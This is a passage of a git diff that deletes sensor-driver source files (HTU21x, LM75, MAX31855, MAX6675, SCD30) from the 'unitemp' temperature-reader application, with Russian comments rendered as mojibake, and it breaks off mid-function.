not, see . -*/ -#ifndef UNITEMP_HDC1080 -#define UNITEMP_HDC1080 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType HDC1080; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика HDC1080 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_HDC1080_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика HDC1080 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_HDC1080_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_HDC1080_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_HDC1080_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_HDC1080_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/HTU21x.c b/applications/external/unitemp/sensors/HTU21x.c deleted file mode 100644 index 2e7222bc4..000000000 --- a/applications/external/unitemp/sensors/HTU21x.c +++ /dev/null @@ -1,107 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "HTU21x.h" -#include "../interfaces/I2CSensor.h" - -const SensorType HTU21x = { - .typename = "HTU21x", - .altname = "HTU21x/SI70xx/SHT2x", - .interface = &I2C, - .datatype = UT_DATA_TYPE_TEMP_HUM, - .pollingInterval = 250, - .allocator = unitemp_HTU21x_alloc, - .mem_releaser = unitemp_HTU21x_free, - .initializer = unitemp_HTU21x_init, - .deinitializer = unitemp_HTU21x_deinit, - .updater = unitemp_HTU21x_update}; - -static uint8_t checkCRC(uint16_t data) { - for(uint8_t i = 0; i < 16; i++) { - if(data & 0x8000) - data = (data << 1) ^ 0x13100; - else - data <<= 1; - } - return (data >> 8); -} - -bool unitemp_HTU21x_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x40 << 1; - i2c_sensor->maxI2CAdr = 0x41 << 1; - return true; -} - -bool unitemp_HTU21x_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_HTU21x_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - UNUSED(i2c_sensor); - return true; -} - -bool unitemp_HTU21x_deinit(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - UNUSED(i2c_sensor); - return true; -} - -UnitempStatus unitemp_HTU21x_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //Датчик может быть вÑего один, так что норм - static bool temp_hum = false; - - uint8_t data[3]; - - if(sensor->status == UT_SENSORSTATUS_POLLING) { - if(!unitemp_i2c_readArray(i2c_sensor, 3, data)) return UT_SENSORSTATUS_TIMEOUT; - - uint16_t raw = ((uint16_t)data[0] << 8) | data[1]; - if(checkCRC(raw) != data[2]) return UT_SENSORSTATUS_BADCRC; - - if(temp_hum) { - sensor->temp = (0.002681f * raw - 46.85f); - } else { - sensor->hum = ((0.001907 * (raw ^ 0x02)) - 6); - } - temp_hum = !temp_hum; - if(temp_hum) return UT_SENSORSTATUS_EARLYPOOL; - return UT_SENSORSTATUS_OK; - } - - if(temp_hum) { - //Ð—Ð°Ð¿Ñ€Ð¾Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - data[0] = 0xF3; - if(!unitemp_i2c_writeArray(i2c_sensor, 1, data)) return UT_SENSORSTATUS_TIMEOUT; - } else { - //Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾Ñти - data[0] = 0xF5; - if(!unitemp_i2c_writeArray(i2c_sensor, 1, data)) return UT_SENSORSTATUS_TIMEOUT; - } - - return UT_SENSORSTATUS_POLLING; -} diff --git a/applications/external/unitemp/sensors/HTU21x.h b/applications/external/unitemp/sensors/HTU21x.h deleted file mode 100644 index ffe062a24..000000000 --- a/applications/external/unitemp/sensors/HTU21x.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_HTU21x -#define UNITEMP_HTU21x - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType HTU21x; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика HTU21x - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_HTU21x_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика HTU21x - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_HTU21x_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_HTU21x_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_HTU21x_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_HTU21x_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/LM75.c b/applications/external/unitemp/sensors/LM75.c deleted file mode 100644 index a9c8df84e..000000000 --- a/applications/external/unitemp/sensors/LM75.c +++ /dev/null @@ -1,87 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "LM75.h" -#include "../interfaces/I2CSensor.h" - -#define LM75_REG_TEMP 0x00 -#define LM75_REG_CONFIG 0x01 -#define LM75_REG_THYST 0x02 -#define LM75_REG_TOS 0x03 - -#define LM75_CONFIG_SHUTDOWN 0b00000001 -#define LM75_CONFIG_INTERRUPT 0b00000010 -#define LM75_CONFIG_OSPOLARITY_HIGH 0b00000100 -#define LM75_CONFIG_FAULTQUEUE_1 0b00000000 -#define LM75_CONFIG_FAULTQUEUE_2 0b00001000 -#define LM75_CONFIG_FAULTQUEUE_4 0b00010000 -#define LM75_CONFIG_FAULTQUEUE_6 0b00011000 - -const SensorType LM75 = { - .typename = "LM75", - .interface = &I2C, - .datatype = UT_DATA_TYPE_TEMP, - .pollingInterval = 500, - .allocator = unitemp_LM75_alloc, - .mem_releaser = unitemp_LM75_free, - .initializer = unitemp_LM75_init, - .deinitializer = unitemp_LM75_deinit, - .updater = unitemp_LM75_update}; - -bool unitemp_LM75_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0b1001000 << 1; - i2c_sensor->maxI2CAdr = 0b1001111 << 1; - return true; -} - -bool unitemp_LM75_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_LM75_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //Выход еÑли не удалоÑÑŒ запиÑать значение в датчик - if(!unitemp_i2c_writeReg(i2c_sensor, LM75_REG_CONFIG, LM75_CONFIG_FAULTQUEUE_1)) return false; - - return true; -} - -bool unitemp_LM75_deinit(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_writeReg( - i2c_sensor, LM75_REG_CONFIG, LM75_CONFIG_FAULTQUEUE_1 | LM75_CONFIG_SHUTDOWN)) - return false; - return true; -} - -UnitempStatus unitemp_LM75_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - uint8_t buff[2]; - if(!unitemp_i2c_readRegArray(i2c_sensor, LM75_REG_TEMP, 2, buff)) - return UT_SENSORSTATUS_TIMEOUT; - int16_t raw = (((uint16_t)buff[0] << 8) | buff[1]); - sensor->temp = raw / 32 * 0.125; - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/LM75.h b/applications/external/unitemp/sensors/LM75.h deleted file mode 100644 index d5397b178..000000000 --- a/applications/external/unitemp/sensors/LM75.h +++ /dev/null @@ -1,62 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_LM75 -#define UNITEMP_LM75 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType LM75; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика LM75 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_LM75_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика LM75 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_LM75_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_LM75_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_LM75_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_LM75_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/MAX31855.c b/applications/external/unitemp/sensors/MAX31855.c deleted file mode 100644 index 2411eb09e..000000000 --- a/applications/external/unitemp/sensors/MAX31855.c +++ /dev/null @@ -1,93 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "MAX31855.h" - -const SensorType MAX31855 = { - .typename = "MAX31855", - .altname = "MAX31855 (Thermocouple)", - .interface = &SPI, - .datatype = UT_TEMPERATURE, - .pollingInterval = 500, - .allocator = unitemp_MAX31855_alloc, - .mem_releaser = unitemp_MAX31855_free, - .initializer = unitemp_MAX31855_init, - .deinitializer = unitemp_MAX31855_deinit, - .updater = unitemp_MAX31855_update}; - -bool unitemp_MAX31855_alloc(Sensor* sensor, char* args) { - UNUSED(sensor); - UNUSED(args); - return true; -} - -bool unitemp_MAX31855_free(Sensor* sensor) { - UNUSED(sensor); - return true; -} - -bool unitemp_MAX31855_init(Sensor* sensor) { - SPISensor* instance = sensor->instance; - furi_hal_spi_bus_handle_init(instance->spi); - UNUSED(instance); - return true; -} - -bool unitemp_MAX31855_deinit(Sensor* sensor) { - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_MAX31855_update(Sensor* sensor) { - SPISensor* instance = sensor->instance; - - furi_hal_spi_acquire(instance->spi); - furi_hal_gpio_write(instance->CS_pin->pin, false); - - uint8_t buff[4] = {0}; - - furi_hal_spi_bus_rx(instance->spi, buff, 4, 0xFF); - furi_hal_spi_release(instance->spi); - - uint32_t raw = (buff[0] << 24) | (buff[1] << 16) | (buff[2] << 8) | buff[3]; - - if(raw == 0xFFFFFFFF || raw == 0) return UT_SENSORSTATUS_TIMEOUT; - - //Определение ÑоÑтоÑÐ½Ð¸Ñ Ñ‚ÐµÑ€Ð¼Ð¾Ð¿Ð°Ñ€Ñ‹ - uint8_t state = raw & 0b111; - //Обрыв - if(state == 0x01) { - UNITEMP_DEBUG("%s has thermocouple open circuit", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - //Короткое замыкание к земле - if(state == 0x02) { - UNITEMP_DEBUG("%s has thermocouple short to GND", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - //Короткое замыкание к питанию - if(state == 0x04) { - UNITEMP_DEBUG("%s has thermocouple short to VCC", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - - raw = (raw >> 16) & 0xFFFC; - - sensor->temp = (int16_t)(raw) / 16.0f; - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/MAX31855.h b/applications/external/unitemp/sensors/MAX31855.h deleted file mode 100644 index d63c39885..000000000 --- a/applications/external/unitemp/sensors/MAX31855.h +++ /dev/null @@ -1,65 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_MAX31855 -#define UNITEMP_MAX31855 - -#include "../unitemp.h" -#include "../Sensors.h" -#include "../interfaces/SPISensor.h" - -extern const SensorType MAX31855; - -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика MAX31855 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_MAX31855_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика MAX31855 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_MAX31855_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_MAX31855_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_MAX31855_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_MAX31855_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/MAX6675.c b/applications/external/unitemp/sensors/MAX6675.c deleted file mode 100644 index e97a96eb5..000000000 --- a/applications/external/unitemp/sensors/MAX6675.c +++ /dev/null @@ -1,81 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "MAX6675.h" - -const SensorType MAX6675 = { - .typename = "MAX6675", - .altname = "MAX6675 (Thermocouple)", - .interface = &SPI, - .datatype = UT_TEMPERATURE, - .pollingInterval = 500, - .allocator = unitemp_MAX6675_alloc, - .mem_releaser = unitemp_MAX6675_free, - .initializer = unitemp_MAX6675_init, - .deinitializer = unitemp_MAX6675_deinit, - .updater = unitemp_MAX6675_update}; - -bool unitemp_MAX6675_alloc(Sensor* sensor, char* args) { - UNUSED(sensor); - UNUSED(args); - return true; -} - -bool unitemp_MAX6675_free(Sensor* sensor) { - UNUSED(sensor); - return true; -} - -bool unitemp_MAX6675_init(Sensor* sensor) { - SPISensor* instance = sensor->instance; - furi_hal_spi_bus_handle_init(instance->spi); - UNUSED(instance); - return true; -} - -bool unitemp_MAX6675_deinit(Sensor* sensor) { - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_MAX6675_update(Sensor* sensor) { - SPISensor* instance = sensor->instance; - - furi_hal_spi_acquire(instance->spi); - furi_hal_gpio_write(instance->CS_pin->pin, false); - - uint8_t buff[2] = {0}; - - furi_hal_spi_bus_rx(instance->spi, buff, 2, 0xFF); - furi_hal_spi_release(instance->spi); - - uint32_t raw = (buff[0] << 8) | buff[1]; - - if(raw == 0xFFFFFFFF || raw == 0) return UT_SENSORSTATUS_TIMEOUT; - - //Определение ÑоÑтоÑÐ½Ð¸Ñ Ñ‚ÐµÑ€Ð¼Ð¾Ð¿Ð°Ñ€Ñ‹ - uint8_t state = raw & 0b100; - //Обрыв - if(state == 0b100) { - UNITEMP_DEBUG("%s has thermocouple open circuit", sensor->name); - return UT_SENSORSTATUS_ERROR; - } - - sensor->temp = (int16_t)(raw) / 32.0f; - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/MAX6675.h b/applications/external/unitemp/sensors/MAX6675.h deleted file mode 100644 index cce346590..000000000 --- a/applications/external/unitemp/sensors/MAX6675.h +++ /dev/null @@ -1,65 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_MAX6675 -#define UNITEMP_MAX6675 - -#include "../unitemp.h" -#include "../Sensors.h" -#include "../interfaces/SPISensor.h" - -extern const SensorType MAX6675; - -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика MAX6675 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_MAX6675_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика MAX6675 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_MAX6675_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_MAX6675_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_MAX6675_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_MAX6675_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/SCD30.c b/applications/external/unitemp/sensors/SCD30.c deleted file mode 100644 index d7a10149c..000000000 --- a/applications/external/unitemp/sensors/SCD30.c +++ /dev/null @@ -1,387 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by divinebird (https://github.com/divinebird) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -// Some information may be seen on https://github.com/sparkfun/SparkFun_SCD30_Arduino_Library - -#include "SCD30.h" -#include "../interfaces/I2CSensor.h" -#include "../interfaces/endianness.h" -//#include <3rdparty/everest/include/everest/kremlin/c_endianness.h> - -typedef union { - uint16_t array16[2]; - uint8_t array8[4]; - float value; -} ByteToFl; - -bool unitemp_SCD30_alloc(Sensor* sensor, char* args); -bool unitemp_SCD30_init(Sensor* sensor); -bool unitemp_SCD30_deinit(Sensor* sensor); -UnitempStatus unitemp_SCD30_update(Sensor* sensor); -bool unitemp_SCD30_free(Sensor* sensor); - -const SensorType SCD30 = { - .typename = "SCD30", - .interface = &I2C, - .datatype = UT_DATA_TYPE_TEMP_HUM_CO2, - .pollingInterval = 2000, - .allocator = unitemp_SCD30_alloc, - .mem_releaser = unitemp_SCD30_free, - .initializer = unitemp_SCD30_init, - .deinitializer = unitemp_SCD30_deinit, - .updater = unitemp_SCD30_update}; - -#define SCD30_ID 0x61 - -#define COMMAND_CONTINUOUS_MEASUREMENT 0x0010 -#define COMMAND_SET_MEASUREMENT_INTERVAL 0x4600 -#define COMMAND_GET_DATA_READY 0x0202 -#define COMMAND_READ_MEASUREMENT 0x0300 -#define COMMAND_AUTOMATIC_SELF_CALIBRATION 0x5306 -#define COMMAND_SET_FORCED_RECALIBRATION_FACTOR 0x5204 -#define COMMAND_SET_TEMPERATURE_OFFSET 0x5403 -#define COMMAND_SET_ALTITUDE_COMPENSATION 0x5102 -#define COMMAND_RESET 0xD304 // Soft reset -#define COMMAND_STOP_MEAS 0x0104 -#define COMMAND_READ_FW_VER 0xD100 - -static bool dataAvailable(Sensor* sensor) __attribute__((unused)); -static bool readMeasurement(Sensor* sensor) __attribute__((unused)); -static void reset(Sensor* sensor) __attribute__((unused)); - -static bool setAutoSelfCalibration(Sensor* sensor, bool enable) __attribute__((unused)); -static bool getAutoSelfCalibration(Sensor* sensor) __attribute__((unused)); - -static bool getFirmwareVersion(Sensor* sensor, uint16_t* val) __attribute__((unused)); - -static bool setForcedRecalibrationFactor(Sensor* sensor, uint16_t concentration) - __attribute__((unused)); -static uint16_t getAltitudeCompensation(Sensor* sensor) __attribute__((unused)); -static bool setAltitudeCompensation(Sensor* sensor, uint16_t altitude) __attribute__((unused)); -static bool setAmbientPressure(Sensor* sensor, uint16_t pressure_mbar) __attribute__((unused)); - -static float getTemperatureOffset(Sensor* sensor) __attribute__((unused)); -static bool setTemperatureOffset(Sensor* sensor, float tempOffset) __attribute__((unused)); - -static bool beginMeasuringWithSettings(Sensor* sensor, uint16_t pressureOffset) - __attribute__((unused)); -static bool beginMeasuring(Sensor* sensor) __attribute__((unused)); -static bool stopMeasurement(Sensor* sensor) __attribute__((unused)); - -static bool setMeasurementInterval(Sensor* sensor, uint16_t interval) __attribute__((unused)); -static uint16_t getMeasurementInterval(Sensor* sensor) __attribute__((unused)); - -bool unitemp_SCD30_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - i2c_sensor->minI2CAdr = SCD30_ID << 1; - i2c_sensor->maxI2CAdr = SCD30_ID << 1; - return true; -} - -bool unitemp_SCD30_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_SCD30_init(Sensor* sensor) { - if(beginMeasuring(sensor) == true) { // Start continuous measurements - setMeasurementInterval(sensor, SCD30.pollingInterval / 1000); - setAutoSelfCalibration(sensor, true); - setAmbientPressure(sensor, 0); - } else - return false; - - return true; -} - -bool unitemp_SCD30_deinit(Sensor* sensor) { - return stopMeasurement(sensor); -} - -UnitempStatus unitemp_SCD30_update(Sensor* sensor) { - readMeasurement(sensor); - return UT_SENSORSTATUS_OK; -} - -static uint8_t computeCRC8(uint8_t* message, uint8_t len) { - uint8_t crc = 0xFF; // Init with 0xFF - for(uint8_t x = 0; x < len; x++) { - crc ^= message[x]; // XOR-in the next input byte - for(uint8_t i = 0; i < 8; i++) { - if((crc & 0x80) != 0) - crc = (uint8_t)((crc << 1) ^ 0x31); - else - crc <<= 1; - } - } - return crc; // No output reflection -} - -// Sends a command along with arguments and CRC -static bool sendCommandWithCRC(Sensor* sensor, uint16_t command, uint16_t arguments) { - static const uint8_t cmdSize = 5; - - uint8_t bytes[cmdSize]; - uint8_t* pointer = bytes; - store16_be(pointer, command); - pointer += 2; - uint8_t* argPos = pointer; - store16_be(pointer, arguments); - pointer += 2; - *pointer = computeCRC8(argPos, pointer - argPos); - - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return unitemp_i2c_writeArray(i2c_sensor, cmdSize, bytes); -} - -// Sends just a command, no arguments, no CRC -static bool sendCommand(Sensor* sensor, uint16_t command) { - static const uint8_t cmdSize = 2; - - uint8_t bytes[cmdSize]; - store16_be(bytes, command); - - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return unitemp_i2c_writeArray(i2c_sensor, cmdSize, bytes); -} - -static uint16_t readRegister(Sensor* sensor, uint16_t registerAddress) { - static const uint8_t regSize = 2; - - if(!sendCommand(sensor, registerAddress)) return 0; // Sensor did not ACK - - furi_delay_ms(3); - - uint8_t bytes[regSize]; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, regSize, bytes)) return 0; - - return load16_be(bytes); -} - -static bool loadWord(uint8_t* buff, uint16_t* val) { - uint16_t tmp = load16_be(buff); - uint8_t expectedCRC = computeCRC8(buff, 2); - if(buff[2] != expectedCRC) return false; - *val = tmp; - return true; -} - -static bool getSettingValue(Sensor* sensor, uint16_t registerAddress, uint16_t* val) { - static const uint8_t respSize = 3; - - if(!sendCommand(sensor, registerAddress)) return false; // Sensor did not ACK - - furi_delay_ms(3); - - uint8_t bytes[respSize]; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, respSize, bytes)) return false; - - return loadWord(bytes, val); -} - -static bool loadFloat(uint8_t* buff, float* val) { - // ByteToFl tmp; - size_t cntr = 0; - uint8_t floatBuff[4]; - for(size_t i = 0; i < 2; i++) { - floatBuff[cntr++] = buff[0]; - 